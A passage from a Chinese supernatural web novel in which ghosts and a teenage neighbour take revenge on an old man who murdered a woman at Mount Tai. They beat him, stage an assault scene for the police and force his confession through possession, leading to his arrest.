忽而想起,大米也能辟鬼镇邪,他发疯似地铺满一地大米,把家里所有的存量都拿出来抛洒,“我让你吃,吃死你。“
直到目之可及处都是辟邪物件,他才安心地笑了,“再敢来就让你灰飞烟灭,哈,哈哈哈哈,我不怕你,来啊,我不怕你。”
王居正一个人对着空房间笑得癫狂,没多久又恢复正常,没事人一样端着瓷杯打开门,躺在藤椅上晃啊晃。
咿咿呀呀的乱调从他口中发出,实在难入耳。
一个穿着蓝白相间校服的中学生骑着自行车到楼前,刚一锁好车就紧绷住脸,机器人似的走进这栋楼。
陈献午注意到这个瘦而高挑的学生一进来就瞟了眼对门,很快收回视线,自然地转了个弯,站到自家门前。
“航航回来吃午饭啦?”王居正盯着男生后背笑问,仿佛只是亲切的长辈在打招呼。
那学生拿钥匙的手微不可察一顿,不细看根本发现不了。
门开了,学生一步踏进去,极快地反手关上门。
陈献午原想仔细看看,却被挡在门外,这反应不对劲,但她没有仗着穿墙的能力,堂而皇之进到别人家去,窥探欲和多管闲事最要不得。
“小兔崽子,没礼貌。”
陈献午听到叫骂转身,王居正笑得恶劣,笑得不加掩饰,阴暗的藤蔓从他心底滋生,已然挣脱道德的束缚,正在肆意疯涨。
正对门的客厅墙壁上贴着一张钟馗画像,红衣天师乾坤正气呼之欲出,豹头环眼,锐利如炬,可震慑一切妖邪。
一人一鬼一像,静静相对着,人笑得像恶鬼,鬼抱臂审视着人,画上天师手握青锋七星剑,剑尖直指底下人的头顶,一时分不清究竟谁才是真的人。
陈献午抬眼将视线从布满邪气的脸上转到画像上,脑中某个犄角旮旯的常识告诉她,她应该感到惧怕,而后强烈的压迫使她无处遁形,最终在痛苦的嘶吼中灰飞烟灭。
然而,这些幻想通通没有发生。
她示意江越人她们先按兵不动,暂时还不确定屋里的东西是否有用,不能莽撞。
随后独自一人走进去,满屋的辟邪物件着实让她一惊,知道他疯,没想到这么疯,地上铺满颗颗饱满的米粒,无处下脚。
糟蹋粮食,罪加一等!
他昨晚分明被吓得不轻,现在却又肆无忌惮起来,看来这一屋子物件给了他十足的底气。
但很可惜,他遇见了陈献午,底被掀掉,还能叫底气吗?
陈献午转回藤椅旁,老头又闭眼睡了,他脖子上还有一根红绳,另一头系着的东西从衣领里露出一角,原来是护身符,还包着层塑封膜。
摔东西已经不新鲜了,既然这么宝贝这道符,那就毁了吧。
陈献午拿起老头放在旁边鞋柜上的瓷杯,把水倒在水池里,又从马桶里舀了杯回来。
她一想到马上要做的事,就兴奋得不行,敢闭眼就得付出代价,觉不是那么好睡的。
陈献午找准最佳角度,确保从鼻子到护身符这一片都能雨露均沾。
“哗~”
一缸水劈头盖脸浇在王居正身上,他猛地惊起,张着嘴大口大口喘息,差点溺水。
他还没彻底缓过来,脖子上的红绳又被扯下来,扯得他一个趔趄,差点亲吻大地。塑封膜在他眼前展开,里面的护身符飘出来,嘶啦一声变成两半。
王居正肾上腺素飙升,癫狂地嘶吼:“有鬼啊!啊啊啊啊啊啊啊啊~”尖锐啸叫夺走陈献午的听觉。
好在‘鬼’字刚喊完的时候,他已经蹿到楼外了。
吓完人的陈献午对着空气耸肩摊手,真情流露的就是比唱戏要好听点。她慢悠悠朝外走,忽地顿住,两脚原地一转,回去一脚踹翻藤椅才离开。
殊不知,这一切都透过对门的猫眼展现在那学生面前。
“航宇,吃饭了。”
“来了,奶奶。”孙航宇嘴角噙着一抹笑慢慢消失,转身乖巧应道。
“对面老东西在喊什么?我开着油烟机没听清。”金奶奶端着盘韭菜炒鸡蛋走过来。
“没什么,他又想搞事情,不用理他。”
金奶奶夹了块排骨放进孙子碗里,“快吃,学习辛苦了。”
孙航宇腼腆一笑,“谢谢奶奶,奶奶更辛苦。”
“上学的时候绕着他走,知道吗?不要搭理他。”金奶奶嘱咐了无数次,还是没忍住提醒道。
“我知道的,没搭理。”
“嗯,昨晚他不知道又发什么疯,在家里摔东西,把我惊醒了。”金奶奶想起昨晚还气气的,害得她一整夜没睡好,“这种人没脸没皮,活该儿子儿媳不管他。”
说完这句话,金奶奶有些后悔,不应该在孙子面前说这些的,她赶紧转移话题:“明天周末,想吃什么奶奶去买,虾子?鸡翅?”
“鸡翅,好久没吃了。”
“好,奶奶等会儿给你钱,晚上放学回来记得买奶茶,你妈喜欢那个树枝芒果,我这次换成芋头迷码。”
孙航宇失笑:“是杨枝甘露和芋泥麻薯,奶奶。”
“对,就是那个薯,你知道就行。”
……
吃完饭的孙宇航迫不及待出门,早就听见
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外面嘈杂声此起彼伏,“我上学去了,奶奶。”
他一开门,门口围了不少人,对着王居正屋里指指点点。
“他是不是疯了?从泰山回来丢了魂了?”四楼的阿姨貌似刚下来,不确定地问道。
“我看像,我刚吃完准备午休,就听见他鬼喊,说什么有鬼。”三楼张大爷指着他屋里东西道:“买这么多神叨叨的东西回来,怕不是干了啥子坏事心虚呦。”
“我看是被鬼缠上了吧,快把他收了去。”三楼另一户的大爷适时发表自己看法。
“大白天的哪里有鬼,世界上没有鬼。”四楼阿姨一脸避之不及,大声给自己壮胆。
楼梯间的三只鬼面面相觑,她们是不是该走远一点,免得被误伤。
“世界上本没有鬼,撞鬼的多了,人就吓死了。”淡淡的死感从江越人脸上溢出。
陈献午默默送给她一个大拇指,文化人。
“那怎么解释他家这些嘛?椅子都翻了,肯定看见厉害的恶鬼,吓跑了嗦。”大爷还是坚持自己的猜测。
“没有鬼。”孙航宇往前一步,“我看见他躺在那,突然端起杯子把水泼脸上,然后推倒了椅子跑出去,还一直喊有鬼,他是想耍人玩,别被他骗了。”
陈献午看向孙航宇,他怎么撒谎?
“我就说没有鬼吧。”四楼阿姨昂着头站到大家对面。
“这神经病,差点就被他骗了。”二楼住户撇嘴不满道。
“就是就是,有毛病。”
“吃饱了撑的。”
“就他这样,还改名字叫居正,还是王末根适合他,装模做样的孙子。”
三楼张大爷一掌拍在孙航宇肩膀上:“多亏了小孙,对了,你是不是要上学了。”
“是的,张爷爷再见。”孙航宇点点头,抬脚往外走。
孙航宇一走,门前聚着的人也慢慢散了,各自回家去。
至于那王居正,自打跑出去之后就在小区里乱窜,破锣嗓子不要钱似的“卖弄”,青天白日的,谁会相信他这个臭名昭著的坏老头子。
小区瞎叫唤不成,那厮又跑到派出所去哭天喊地,民警们更不会相信封建迷信一类的胡扯,更何况王居正精神状况有待查验。
王居正的胡搅蛮缠已经影响了正常办公,民警迫于无奈,便跟他说,只要他能拿出确切证据,证明家里有非科学的意识流生物存在,那我们就受理。
没等王居正再开口,一位资历老点的民警柔和地将他请了出去。
报警不成的王居正在派出所门口傻站了几分钟,不知道哪里还能哭诉。
有那么一秒钟,他想过打电话给儿子,但在这一点上他还是有点自知之明的,儿子不会再管他了,除非他死。
死……
从未听过鬼能杀死人的,不然他受到的报复也不会只是摔两个东西,泼泼水,所以没什么可怕的。
那是他的家,凭什么要被一个女鬼霸占。
王居正修正好自己的一套逻辑后跺跺脚,气定神闲地往家去了。
16. 第 16 章
二楼给花浇水的周姨一看他自在悠闲地哼着小曲儿,不紧不慢走回来,更加肯定他是故意闹出的动静,指不定憋什么坏呢。
这样想着,周姨右手不受控制伸出阳台,淅淅沥沥的水流如细雨似的洒下,尚未形成势头就又断开,她放下水壶有些气恼,又冲动了,那厮定不会善罢甘休。
周姨快步走到门口,贴在猫眼上听动静,半晌都没有叫骂和重重的脚踏声传来,难道没淋到?
不怪她会这样想,平日里从王居正门前走过,都会被他刺几句,最开始谁都不愿受气,便同他理论,但王居正胡搅蛮缠撒泼打诨的本事一流,没人能争得过,也不想那样有失体面。
久而久之,整栋楼的邻居便形成了默契,都当看不见他。
但周姨实在好奇今日他怎么转了性子,于是悄悄打开门下到楼梯拐角,矮着身子探头张望。
大悲咒乍然响彻在楼道,吓得没防备的周姨一激灵,她忿忿道:“神经病。”
周姨扶着楼梯扶手上去,虽然是她自己走下来的,但她就是觉得自己被戏耍了,愈加恼火,隔着楼板朝着底下瞪好几眼才关门回家。
厚实门板只能挡住一半音量,大悲咒像紧箍咒一样嗡嗡地绕在耳边,这下午休的没午休的都烦躁起来,老天开眼,要是能把王居正收走就好了。
十分钟前,王居正哼着小曲儿回家,被水淋了肩头却全然不知,直直走进楼里,看到倒着的藤椅还嗤笑道:“小儿科,也就这点本事了。”
他扶起藤椅,背手仰头,像个巡视领地的猫绕家走了一圈,在厨房发现四五个鸡蛋泡在锅里。
王居正慢条斯理捞起鸡蛋,还滚烫的呢,他端着鸡蛋碗放到藤椅旁边的鞋柜上,“谢谢小老鼠煮的鸡蛋,我会好好享用的。”
陈献午刚给江越人煮的一锅鸡蛋没捞完,一穿进房里就听见王居正的话,气不打一处来。
她还没走近,音响放起了震耳欲聋的大悲咒。
陈献午忙出去,江越人和羊毛卷阿姨果不其然受到影响,她们抱着头双目紧闭,神情痛苦。
“我带你们离开。”陈献午一手揽一个,将她们带到六楼一户人家的家里,“打扰了。”
六楼的屋里几乎听不到声音,陈献午确认她们没事了才道:“等会儿下来接你们。”
她冲到楼下,直奔音箱而去,一把扯下电源插头,世界清净了。
王居正嘴里塞着鸡蛋走过来,又把插头插上了。
陈献午再拔下来,王居正便又插上不松手,还冲正前方露出一个极其挑衅的笑。
这老女人能做的报复最多就是让他恐惧,只要他不怕,老女人就没法得逞。
王居正正得意着,一阵风朝他面门急速逼近,只听到一拳到肉的声音,然后他便仰倒不省人事,人中血迹模糊,丑不堪视。
陈献午拔掉电源,垂眸,对着地上那一摊嫌弃道:“谁让你吃我鸡蛋的,江越人都还没吃饱呢。”
她刚要走,屋里从上到下的物件无一不提醒着她,王居正在与她们对抗,不,是与被他推下悬崖的阿姨对抗。
之前的小把戏确实没起到作用,王居正不仅不害怕了,还更加张狂,胜利者的姿态摆了十成十。
阿姨却只能躲楼道里,看来温水煮青蛙的法子不适用,陈献午把目之所及的所有辟邪之物全都塞进垃圾桶,米粒也都扫成一堆,才去叫她们下来。
陈献午一出门发现她们已经站在门外了。
“快进来吧。”陈献午转身进去,“你还饿吗?要不我再煮点?”
“我又不是猪。”江越人不乐意道,明明已经吃过了,陈献午还非要让她再吃四十几个鸡蛋。
自从变成鬼之后,她的胃就像无底洞,一饿就缩水,十分拖后腿,因此心底不大利落。
陈献午脚步顿住,待江越人走到与她并肩的地方,才笑盈盈开口:“对不起嘛~我光顾着把坏老头羊毛薅光了。”
“小姑娘太瘦不好。”羊毛卷阿姨走到王居正身前,抬起就是一脚,但没落到实处,而是从他身体里穿过,“遇到坏人打不过。”
阿姨又踹几脚,皆踹空了,她气得咬牙切齿。
陈献午:“我帮您踢吧,指哪打哪,头还是肋骨?”可惜她的能力只能作用于物体,不然就能让阿姨自己动手报仇了。
羊毛卷阿姨掐着腰道:“下面。”
“啊?”
阿姨边说还边用手指:“两条腿中间,就是这儿,用你全身力气狠狠踩。”
姜还是老的辣,直击要害。
说出去的话就如泼出去的水,收不回来,陈献午深吸一口气,做足了心理准备才下脚,将稳准狠三个字贯彻到底。
“啊啊啊啊!”杀猪般的叫声如平地惊雷炸开。
王居正被这一脚踩诈尸,叫完又晕死过去。
陈献午并没有因为他晕死就放过他,两拳把他眼睛捶肿,把胳膊也卸脱臼了,最后挑着不顺眼的地方往死里踹。
阿姨没说停,陈献午就一直踢,必须让她出了这口恶气。
“可以了,别把这烂骨头踢死了。”阿姨拦住陈献午,“真谢谢你们两个小姑娘。”
“我们也是替天行道。”
“现在还不能让他死,太便宜他了。”阿姨提了好几次气接着道。
陈献午本来有一点点担心把握不好度,最好能让他受到法律制裁,同时能让阿姨大仇得报,她一直不知道怎么开口,听到阿姨这话松了口气。
“帮我想个办法告诉警察吧,我女儿肯定很难过,这个恶人被抓才能让我女儿恨意占得更多,我怕她伤心过度身体再垮了。”阿姨说起女儿眼泪直掉。
陈献午:“我倒是能拿手机,但是不知道密码,他这破手机还没有面容解锁。”
江越人:“打电话也不可行,警察到了找不到报案人会不会认为是报假警,他还在地上躺着呢,更不好说,而且事件过程也没有证据,总不能说被害人亲口说的吧?”
“我可以说是目击证人啊。”陈献午答道,但她又很快否决这个答案,“不行,报案人要做笔录,还是拿的死老头手机报警,说不通。”
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江越人冷静道:“不急这一时,门就先敞着,看看有没有人发现。”
“对,我虽然恨,但是没那么急,慢慢想,我想不出来什么,只能靠你们两个聪明的小姑娘了。”
“等人发现后,看他们会不会报警,我们伺机而动,最好能让死老头自己说漏嘴。”
江越人一时半会儿也没想出好法子,便赞同道:“可以。”
一时半会儿也没有更好的法子,三人在房子里开始各干各的。阿姨往沙发上一坐就开始抹眼泪,约莫又是思念女儿了;江越人作沉思状,一动不动;陈献午则一直用食指抠脑门,时间一长非挖出个洞不可。
后两人想的应是同一件事,经常杀人的人应该知道怎么用最简单有效的法子解决王居正,但这两人零经验,所以此刻头大如斗,以后估计会好点。
这一想便想到了晚上九点多,屋里灯也没开,黑洞洞的,只有靠近门口的地方亮堂些。
期间从门前经过的人不在少数,没有一个朝屋里看,皆是直眉楞眼走过去,单凡有一个转下头,都能看见躺着的王居正,足以见得此人品性。
孙航宇下了晚自习回来,照例用余光瞟了一眼王居正家,按说往常这个时候已经关门了,他直觉怪异,定睛一看,正对门前的那幅画没了,屋里也一点动静都没有。
他垂眸一瞬,轻手轻脚走进去,走着走着便被一物挡住去路,他用脚探了两下,心中大骇,连退数步。
复仇三人组静静地坐在沙发上,虽然不知道是谁,但都凝神听着。
孙航宇止在原地挣扎,不知该退还是该进,他手伸向书包一侧掏出小手电,精准无误地照在地上的人脸上。
王居正血淋淋的脸露出来,孙航宇反而松了口气,他走过来探鼻息,发现王居正还活着,眉头渐渐拧起来。
手电一亮,陈献午她们便看清来人是对面的学生,但学生探过鼻息又立刻按灭手电。
屋里又黑了。
三人维持着偏头的姿势动也不敢动,若是在消消乐里点一下她们就直接消失了。
漫长的时间过去,三人都要以为那学生悄悄出去了,而她们没听见。
“我们谈谈合作吧。”一道低沉带点沙哑的声音突兀响起。
陈献午有点紧张地半蹲起,他在跟谁说话?难道王居正醒了?
没有听到回答,三人都围了过去,不会是又有其他人牵扯进来了吧?
“你在吗?”孙航宇又问了一句。
还是没人回答他,他到底在做什么?精神分裂吗?哦,也可能进来前在打电话。
“我知道你在这,出来吧。”
话音刚落,三只鬼面面相觑,呲溜一下全都缩到角落里去,好可怕,她们一直在这都没发现别的人。
孙航宇静静等了一会儿,没等到他想要的回答,连一点动静都没有,难道不在吗?
他继续道:“我看见你用水泼他了,还撕了他的符。”
陈献午张开嘴惊了,不会吧,又要死一个?还是个初中生呢,这畜生太丧心病狂了。
17. 第 17 章
陈献午管不了那么多,忙过去提醒他:“喂,你快走,他醒了你就没命了。”
“这么年轻!”孙航宇乍一听到却没有害怕,反而发出震惊的感叹。
陈献午气急:“我看起来很老吗?我才大学毕业好吗!”
“对不起,姐姐,我不知道你长什么样子。”话语中饱含歉意和尴尬。
陈献午:“你不是说看见我干的事了吗?”
孙航宇对着漆黑一片说道:“我是看见了啊。”
陈献午无意与他争这个,只要不会死就行,吓得她以为又要有一条无辜生命惨死,“哦,快回家去。”
孙航宇往前一步,踩着王居正胳膊趔趄了一下,不紧不慢道:“我知道你的存在了,不想谈谈吗?”
“不想,没什么好谈的,你什么都没看到,明天照常上学,再也不见。”
“明天放假,不用上学。”
“那就睡觉,不睡到中午别起来。”
孙航宇听她态度坚决,只好开门见山:“我也想对付他,我觉得你们可能需要我的帮助。”
“你一个小屁孩对付什么,用功读书才是你的本职。”陈献午不想听了,“求你了,快回家行不?”
“你把他打成这样,肯定有深仇大恨,我猜他是害死你的凶手,难道你不想让他受到法律制裁吗?死了岂不是便宜他。”
陈献午不出声了,这孩子为什么一定要掺和进来,分析起来也头头是道。
孙航宇没听到赶他走,‘乘胜追击’道:“你没办法报警,我可以帮你,他的伤是我打的,因为他对我有所企图,他还用杀过人威胁我,于是我奋起反击,他倒了之后我太害怕了,所以就报了警。”
陈献午简直目瞪口呆,很难不怀疑他想这么做很久了,但是他还在上学,学校里的流言蜚语就能把他淹死。
而且这件事不是陈献午一个人能决定的,还是得问阿姨的意见,“可行吗?”
孙航宇立刻回答:“不会有问题。”
“没问你。”
这屋里竟然不止她一个被害死的鬼,孙航宇捏着拳头,嘎嗒一声,他更坚定了自己的想法。
阿姨早就靠近过来了,她不是很赞同:“不好吧,别人会说他闲话的。”
陈献午点点头,“小子,你知道后果吗?想过以后吗?”她没有直说,也不是几岁的娃娃需要她阐明。
孙航宇嗤笑一声,“能有什么后果,不过是被爱嚼舌根的人指指点点,我又不在乎。”
“你不在乎,你家人也不在乎吗?事实真相他们并不知道,只知道你受欺负了,他们会心疼。”
孙航宇沉默了。
陈献午以为说动他了,刚要松气,又听到他说:“没关系,时间会淡忘一切。只要我表现得正常,他们不会一直难过。”
没松下去的气哽在喉咙,陈献午差点撅过去。
拍电视剧呢?还时间会淡忘一切……
陈献午一个头两个大:“你就非要插根刺在他们心里吗?”
“我必须这么做。”孙航宇冷硬道。
“得,犟不过你,我最后问你一遍,你确定吗?”
他没有半刻犹豫,“非常确定。”
沙发那头,江越人淡漠的声音响起:“反正拦不住,不如相信他呗,十几岁正是心硬的时候,没那么软弱,他会处理好家人的情绪。”
陈献午听进去了,她轻声唤道:“阿姨?”
“我,我不知道。”阿姨结结巴巴说道,不说行,也不说不行。
陈献午大概明白阿姨的意思了,她在嘴边措了下词才开口:“警察问起,你就说老头是这么恐吓你的——泰山那个死女人跟我作对,摔得粉身碎骨。其他话你自己想好怎么说。”
孙航宇当即掏出手机报警,这一刻他仿佛等待了很久,很久。
电话一通,惊慌失措的哭腔就溢出来,“救命,快点救救我。”才说两句,孙航宇就说不下去,发出难以抑制的抽泣,“我好害怕,好多血啊,他流了好多血,啊!”
那头的接线员尽力在安抚孙航宇的情绪,并询问地址。
孙航宇断断续续报出了小区楼号,末了还加了句:“快点来。”
电话一撂,他立刻恢复正常,也不抽噎了,黑暗中偷偷抬手在眼下抹了两下,“电话打了,下面就是制造证据。”
三人听着他说话听呆住了,这小孩不得了,未来影帝的最佳人选。
孙航宇也没指着陈献午给反应,他自己扯住衣领,嘶啦一声自制出一件深V,还觉得不够,他又把摸得到的布料都揉得皱巴巴,随后抓住王居正的手按在胳膊上,往死里攥,转着圈地拧。
刚才手电打开的时候,王居正脸上血已经干了,于是他“梆梆”又补了几拳。
“可能不太够,他身上也被我踹出了很多伤,怎么解释呢。”陈献午两根食指对在一起点点点,“哦,对了,手也脱臼了。”
孙航宇:“……”
孙航宇:“这我来不了,你还是给他接上吧,不然很奇怪。”
陈献午不情不愿:“好吧。”
她接完胳膊,起身的时候顺手就把音响拨地上了,不得不说,质量一般。她又到另一边踢歪桌子,拽倒椅子,尽可能把屋里弄乱。
孙航宇觉得还不够,他又对陈献午说道:“打我,别用手掌,用拳头,你们女孩儿手指细,会被看出破绽。”
“咚!”刚说完还没来得及做好心理准备,孙航宇就被一拳打偏了头,甚至险些栽倒。
他稳住身形,龇牙咧嘴地斯哈起来,牙齿隐隐有松动,够狠!
陈献午得意一笑,语气中暗含期待问道:“怎么样,女孩儿手指细,但是拳头重吧?”
孙航宇舔着牙上的血含糊道:“不重,也就打掉两颗牙。”
“啊?牙掉了?那你牙呢?”
“咽了。”
“对不起,真对不起,我不知道你牙那么容易掉,改天让你爸爸带你去补一下吧,我可去不了。”
这话怎么听着那么奇怪呢,孙航宇:“没掉,骗你的。”
“呼~吓活了,没掉就行。”陈献午拍拍胸口。
眼见准备工作都差不多了,只等警察来打击犯罪了。
陡然安静下来,大家都有点手足无措,不知道该干什么,尤其是陈献午和孙航宇,杵在王居正两边罚站,虽然看不见,但知道对方就在那里,仿佛应该说点什么打破寂静,又无话可说。
“该哭了,一点眼泪不掉谁信啊。”江越人的提醒像中插广告似的响起,陈献午如蒙大赦。
她赶紧传话:“小子,酝酿一下眼泪,不要太假。”
孙航宇揉着眼就蜷缩到角落里去了,要不说他是未来影帝呢,豆大的眼泪唰地就下来了,还淌个不停。
没多久,警车就停在这栋楼前,大半夜的警笛声似乎比白天响多了,楼上躁动起来,灯一盏一盏亮起,
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一个接一个从楼上下来。
对门孙航宇家也打开了门,金奶奶披着薄衫,睡眼惺忪地站在门前,看着警察一个个走进对面,她也朝里张望。
灯一亮起,金奶奶视线直接转到孙子身上,即使埋着头,她也一看就认出那是她的孙子,“航航,你怎么在里面?”
她直直往里走,一位警察伸手拦住她,“老人家,麻烦您出去等。”
金奶奶眼里只有孙子,极快地拨开了警察的手,慌张地跑向孙航宇,待她看清地上王居正的惨样,腿一软,直接扑到孙航宇旁边,“航航,没事吧,啊?”
孙航宇泪流满面,双眼猩红,哆哆嗦嗦抬起头,金奶奶眼泪像断线的珠子,心疼到说不出话,她把薄衫紧紧裹在孙子身上,不太合身的薄衫被金奶奶死死拽住往中间扯,“乖乖,别怕,奶奶在。”
“我不该答应的。”羊毛卷阿姨一看金奶奶的模样,眼泪也止不住又流下来。
陈献午和江越人一左一右握住阿姨的手,安抚着她。
金奶奶看着孙航宇眼神发直,呆呆傻傻的模样,头皮发胀,她不知道怎么才能免除孙子所受的伤害,晕眩中听见警察说王居正还活着,她敏捷得像豹子扑过去,抓起地上的碎片就要捅王居正,被两个警察费力拉住。
“这位奶奶,他如果有罪自会受到应有的惩罚,您不能把自己搭上,想想您的孙子。”
到底是经历了很多的人民警察,一句话就能让金奶奶停下。
先前拦着金奶奶的那名警察挡住门口乌泱泱好奇探头的人们,“没什么好看的,都回去吧。”
说话时,救护车也赶到,王居正被抬上了救护车。
金奶奶搂着孙子出去时,想到儿媳妇,“乖乖,等一下奶奶,我回去拿手机。”
她回家拿了手机就打给孙航宇的妈妈蒋书,言简意赅地说了大概情况,让她别加班了赶紧去医院,出来时电话刚好打完。
张大爷:“警察同志,这是出了什么事?”
张大爷一开口,其余人齐刷刷看着最后出来的警察,等待答案。
“没你们什么事,赶紧回家,别堵在这。”
没得到回答的众人也不放弃,继续在后面跟着,叽里咕噜地猜测情况,直到警车和救护车都走了,他们还聚一堆,你一嘴我一嘴说着,都说得煞有其事。
……
蒋书赶到的时候,孙航宇已经在病房睡下了,婆媳俩守着孙航宇守了一夜。孙航宇他爸在外省出差,一时半会儿赶不回来。
约莫八点多,两个警察来到病房做笔录,家属被请到外面等着。
警察先是询问孙航宇身体状况,之后让他详细描述事情经过。
孙航宇把编好的话慢慢说出来,说到王居正欲行不轨时,警察瞳孔放大难以置信,“你是说他猥亵不成,你就把他打得满脸是血,眼膜受损,还多处骨折?”
孙航宇一顿,眼眶中氲出雾气,凝聚成一小汪水要掉不掉,他在想要不要眨一下眼,把它眨下来。
警察自觉话有不妥,见这学生泫然欲泣,更为后悔:“抱歉,你继续说。”他不经意打量了下孙航宇的细瘦身板,人的潜力果然是无限的,他想想又补充道:“你很勇敢,真的,不要想太多,你做的很棒。”
孙航宇看着被子上一朵晕开的水花小声道:“平时小小锻炼了一下。”
“哦哦,那不错,是个好习惯。”这位年轻警察不太擅长聊天,干巴巴回道。
18. 第 18 章
孙航宇也觉得尴尬,便继续回忆经过。
快说到王居正的威胁时,孙航宇气血上涌,语速有点快,“他抓着我的胳膊,把我按在地上说,他说……”
孙航宇求助似的看向在本子上记录的年轻警察,警察似有所感抬起头,“没关系,别怕,他说了什么?”
“他说:泰山那个死女人跟我作对,摔得粉身碎骨,你算什么东西,信不信我弄死你。”
年轻警察和旁边稍大一些的警察登时挺直腰板,十分严肃警觉,不管这句话是纯恐吓还是行凶后的自白,都该重视。
孙航宇没管两个警察作何反应,他紧紧环住双腿,缩成一小团:“我不知道怎么回事,很用力推开他,我记得当时很乱,我一直反抗,过一会儿他就不动了,我,我以为他死了,所以赶紧报警,之后你们就来了。”
笔录做得差不多了,老警察忙出去通知队里,孙航宇还是抱着腿窝在膝盖上,大拇指在食指上抠出一道道深陷红印,而年轻警察留在病房里继续追问细节。
记录完事件经过后,年轻警察告诉孙航宇,王居正的验伤报告出来了,二级伤残,他还得在医院住几天,不过一旦查明泰山事件属实,他不会有好日子过了,临了,警察又开解孙航宇,让他不要太伤心,养好身体。
看着警察离开病房,孙航宇松开手默默说道:“威子当时如果也能有人陪在身边就好了,他就不会离开。”
蒋书和金奶奶一看警察走了,立刻开门进去,生怕孩子钻牛角尖。
孙航宇听到动静,抹干眼泪就表现得没事人一样,如果陈献午在旁边,又要一惊一乍说他会演了。
“想不想吃东西?”蒋书雷厉风行走进来,往椅子上一坐就拿着手机回消息。
金奶奶拿起一个苹果就要削皮,孙航宇赶紧出声:“奶奶我不想吃,妈,你就别管了,他不会有好下场的,你安心把手里的案子办完多休息休息。”
“我怎么能不管?我是你妈,我不管谁管,不让他判到最重,我这么多年律师白干了。”蒋书胸口起伏,罕见地带着愤怒情绪说话。
孙航宇第一次见到这个样子的妈妈,不免有些怔愣。
“就是,她可是你妈。”金奶奶与蒋书站在绝对统一战线上,对这件事的态度非常坚决,不能轻饶王居正。
孙航宇眼见劝不动,也就不再劝了。
金奶奶不知道什么时候剥好了一个橘子,掰开两瓣塞到孙航宇嘴前:“吃个橘子,橘子不占肚子。”
孙航宇无可奈何,拿过橘子放进嘴里,“我自己吃。”
......
泰山一事上报后,上面高度重视,立刻与新历市警方取得联系。
经证实,几天前确有一中年女子失踪,疑似坠崖。两地警方联合调查,很快便查清来龙去脉,只是关键性证据——尸首,尚未找到。
王居正醒后便被压走,看似精神不正常,嘴里叫骂连连,一会儿骂孙航宇,一会儿又骂道观,骂寺庙,连传说中的捉鬼天师都没能幸免。可一问到泰山坠崖案,他就立刻闭了嘴,化身木偶人,打死都不说话,眼都不眨一下。
对于那句恐吓他也不否认,任凭警察说什么,都低着头一声不吭。
二十几个小时不吃不喝,王居正竟就一直坐着动也不动。
闷热的空间无端惹人心烦,警察们每每进来都满头汗,但王居正完全不受影响,整个人就像从河里打捞出来似的,偶尔抬一下手也只是抹去眼皮上的汗珠子。
显而易见,此事与他少不了关联。对他的拷问只是一部分,泰山那边的搜查也没停下。
只是这一来二去,拖得时间有点久,便是阿姨说等得起,陈献午也不想等了,她二话不说冲进警局,强势附身王居正,借他之口对“自己”的所作所为供认不讳,并将事情来龙去脉交代得清清楚楚,包括在哪里作案,尸骨可能在哪个位置都详尽描述出来。
警察们搞不清王居正为何突然有如此转变,但无论如何都不会想到玄学层面。
陈献午一直恭恭敬敬地老实陈述自己添油加醋的真相,完全一副自知罪孽深重的忏悔模样,待警察要走时,“他”蓦地出声:“我这算自首吗?判个几年应该就能出去了吧?正好不用儿子养老了。”
警察听“他”这样说,皆目露嫌恶,多看一眼都嫌脏。
陈献午对着他们真诚一笑,只是落在他们眼里就变成了挑衅,但警察到底是经历过许多的,没做什么反应走出去了。
警察一走,陈献午便唰地出来,在他身上多待一秒都是对自己的侮辱。
她一离开,王居正便哆哆嗦嗦地抖起来,嘴唇乌紫,汗湿的衣裳贴在身上更冷了。
王居正扯着僵硬的嘴角抽搐两下,这样就想让他认罪吗?不过是忽冷忽热嘛,这点小事他还是熬得住的。
陈献午懒得理他,大功告成便拍拍裤子走人。
王居正还在认真地负隅顽抗,他认为只要不说话,拖得越久就越可能不了了之,殊不知警方已经根据“王居正”的认罪供词走下一道程序了,泰山那边的搜查根据专业分析比对,锁定了一片区域,不出半天就找到了羊毛卷阿姨的尸骨。
这样的大动作不可能不引起民众注意,各大媒体嗅到一点风吹草动争相报道,一时间,孙航宇的事情竟完全盖了过去。
才到下午,网上铺天盖地的新闻均是泰山坠崖事件,加上当天围观者众多,声称目击证人的评论底下全是追问,有些严词谴责凶手,有些则是不信会有人因为一只手机而丧心病狂。
事情上升到刑事案件,已经不是蒋书能插手的了,不过她看了网上讨论,略微放下心来,只要儿子不受二次伤害,其他都无所谓。
她本想让孙航宇多住几天院,再观察观察,如果有什么心理问题也方便就医,奈何儿子偏要回家,他全身上下最大的伤便是脸上那一片红肿,问过医生确认没问题后,她才办了出院手续。
一家三口刚回家,陈献午也从警局赶回来了,见孙航宇走一步,旁边就跟一步的婆媳俩有些羡慕。
她看了一会儿,没等
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他们走到家就先一步走了,估计不到夜里是没机会和孙航宇单独说话的,更大部分原因是她怕看多了这温馨场面会嫉妒。
一到王居正家,她迫不及待地和阿姨分享进程,她女儿此刻应该已经知道凶手是谁了。但要等到判刑,可有的等呢,不过他蓄意杀人的事实不会变。
阿姨再次痛哭流涕,虽说善有善报,恶有恶报,但如果没有陈献午和江越人,这事还不知什么时候被查出来,也可能随着阿姨的尸骨永久埋藏底下,最终消散。
“我想去找我的女儿。”阿姨一刻也不想等了,哭噎声还未平息就迫不及待说道。
二人没想到分别来得这么快,但她们没有理由阻止,这正是她们希望看到的。
江越人不作声,默默点头。
陈献午一想到母女团聚,阴阳相隔,就在面前却无法相见,不由得心里泛酸。
阿姨也不舍离别,但她知道两个小姑娘要去投胎,而自己更想陪女儿一段时间,直到女儿不再悲伤,又或者说,直到女儿想起自己不会流泪,才会离开。
“对了,我还不知道你们的名字呢。”阿姨拉住她们俩的手,紧紧捏着。
“我叫陈献午。”
“我叫江越人。”
“好,好孩子,我女儿名字里也有羡,她叫季羡。”阿姨抹掉眼泪,长长吐了一口气,郑重道:“祝你们来世托生到好人家,长命百岁,无病无忧。”
“谢谢阿姨。”二人齐声道。
“那,我就走了。”
二人又是整齐地点头。
阿姨一步三回头,在她第三次回头时,江越人开口道:“您的女儿肯定在想你呢。”
阿姨果然不再犹豫,大步离开。
“你说,王居正会判死刑吗?两项罪加一起,应该可以吧。”陈献午还是觉得不解气,只要他活着,就没有复仇成功的快感。
江越人:“不知道,我不是法律专业的。”
陈献午生无可恋闭眼:“唉~我没有真的在问你会不会判死刑。”
江越人认真发问:“那你什么意思?”
“我想听你肯定的回答,或者和我一起谴责他,骂他,你没和朋友一起蛐蛐过别人吗?”陈献午本想说没什么,但话到嘴边又收回去,解释自己真正的意图。
“没。”
